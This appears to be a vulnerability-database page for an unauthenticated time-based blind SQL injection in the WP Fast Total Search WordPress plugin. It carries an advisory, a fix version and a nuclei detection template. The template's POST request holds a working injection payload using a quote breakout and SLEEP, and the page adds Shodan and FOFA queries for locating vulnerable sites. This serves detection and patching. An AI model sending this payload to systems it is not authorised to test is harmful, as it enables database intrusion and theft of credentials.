Browse / CVEs / CVE-2026-12741
CVE-2026-12741· wp-fast-total-search / wp fast total search· CWE-89
WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection
WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.
Impact
An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.
Fix
Update WP Fast Total Search to version 1.81.282 or later.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins/fulltext-search/")
Send: @timeout: 12s
Positive when: duration >= 7 && duration < 20 and status_code == 200Run it with nuclei: nuclei -id CVE-2026-12741 -u <target>
The full check
id: CVE-2026-12741
info:
name: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection
author: Abdullah Shahid (comradezephyr)
severity: high
description: |
WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.
impact: |
An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.
remediation: |
Update WP Fast Total Search to version 1.81.282 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-12741
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve
- https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-12741
epss-score: 0.01588
epss-percentile: 0.75835
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: wp-fast-total-search
product: wp_fast_total_search
shodan-query: http.html:"wp-content/plugins/fulltext-search"
fofa-query: body="wp-content/plugins/fulltext-search"
tags: cve,cve2026,wordpress,wp-plugin,fulltext-search,sqli,time-based-sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "/wp-content/plugins/fulltext-search/")'
- raw:
- |
@timeout: 12s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpfts_autocomplete&form_data%5Bsentence%5D=1&form_data%5Bs%5D=zzz%22%20OR%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%284%29%29x%29%20OR%20%22aaa
matchers:
- type: dsl
dsl:
- 'duration >= 7 && duration < 20'
- 'status_code == 200'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2026-12741
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve
- https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825
Use this check only on systems you are authorised to test. Where the data comes from